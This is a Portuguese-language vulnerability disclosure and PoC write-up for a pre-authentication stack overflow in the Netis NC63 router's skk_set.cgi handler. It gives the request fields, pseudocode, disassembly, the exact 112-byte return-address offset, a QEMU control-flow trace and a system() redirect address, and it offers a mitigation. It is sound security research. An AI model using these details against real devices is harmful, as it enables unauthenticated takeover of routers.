
Pesquisa original e PoC para um estouro de buffer de pilha pré-autenticação via scanset sscanf sem limite no manipulador ipFilterList do Netis NC63
sscanf %[^,] no manipulador ipFilterList de skk_set.cgi no Netis NC63Pesquisador: Özcan Ersan (@ozcanpng)
CVE-2026-76071NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/skk_set.cgiipFilterList=moddestHostsrcHostO parser genérico de MIB/valor no firmware V3.0.0.3327 do Netis NC63 analisa o
campo destHost de ipFilterList com dois scansets %[^,], mas sem larguras
máximas de campo. Cada conversão escreve em um buffer local de pilha de 16 bytes.
Um cliente HTTP direto pode, portanto, enviar um componente longo sem vírgulas e
sobrescrever os dados de controle salvos da função.
Para o segundo componente destHost testado dinamicamente, o ra salvo está exatamente
a 112 bytes do buffer local. O rastreamento QEMU contra o CGI com hash original
confirmou uma terceira entrada escolhida pelo atacante em 0x0040f7f4. Um teste separado
apenas de observação redirecionou o retorno para o caminho PLT original de system()
em 0x00423ab0, preservando os dados da requisição controlados pelo atacante como o
argumento a0 MIPS exato. Um /bin/sh protegido registrou o marcador e não executou nenhum
comando.
O PoC público contém deliberadamente apenas um padrão B excessivamente longo. Ele não
inclui o valor privado de transferência de controle nem a construção do limite de comando.
O script de RCE mantido separadamente em poc/exploit-db/ está preparado para uma
submissão ao Exploit-DB e destina-se apenas a testes autorizados de sistemas
afetados.
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so

O frontend do fornecedor constrói srcHost e destHost como três componentes
separados por vírgulas e os envia com ipFilterList para /cgi-bin/skk_set.cgi:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});

A requisição CGI validada em formato HTTP não continha cabeçalho Cookie nem Authorization. /tmp/boa_auth estava ausente, mas a execução continuou no caminho do parser ipFilterList=mod e destHost. O defeito de corrupção de memória é o scanset sem largura em FUN_0040f7f4; a falha de autorização CGI mais ampla é a condição que expõe este handler privilegiado antes da autenticação.

Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
Os metadados originais de libapmib.so mapeiam tanto srcHost quanto destHost para o tipo 0x0c, o que seleciona este caso do parser. A validação dinâmica foi realizada com destHost; srcHost está incluído como cobertura estática do mesmo parser, em vez de uma alegação dinâmica separada.

Pseudocódigo normalizado derivado do Ghidra:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;

sscanf() não é intrinsecamente a vulnerabilidade. O defeito é que %[^,]
não tem largura máxima de campo, então sscanf não tem conhecimento de que cada destino
tem apenas 16 bytes. Um formato ciente da capacidade usaria uma largura como
%15[^,], verificaria que exatamente três conversões foram bem-sucedidas e então validaria
os valores de endereço analisados. Este é um exemplo de mitigação, não um patch do fornecedor.
FUN_0040f7f4 começa em 0x0040f7f4 e cria um frame de 0x1d0 bytes:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)
Os destinos do tipo 0x0c estão em fp+0x14c e fp+0x15c. O ra salvo está
em fp+0x1cc, tornando a distância exata a partir do segundo buffer:
0x1cc - 0x15c = 0x70 = 112 bytes

A prova isolada do PC utilizou 112 bytes de preenchimento seguidos pelos três bytes baixos em little-endian de 0x0040f7f4; o terminador do sscanf forneceu o quarto byte zero. O QEMU observou duas entradas normais do parser seguidas por uma terceira entrada causada pelo endereço de retorno sobrescrito:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.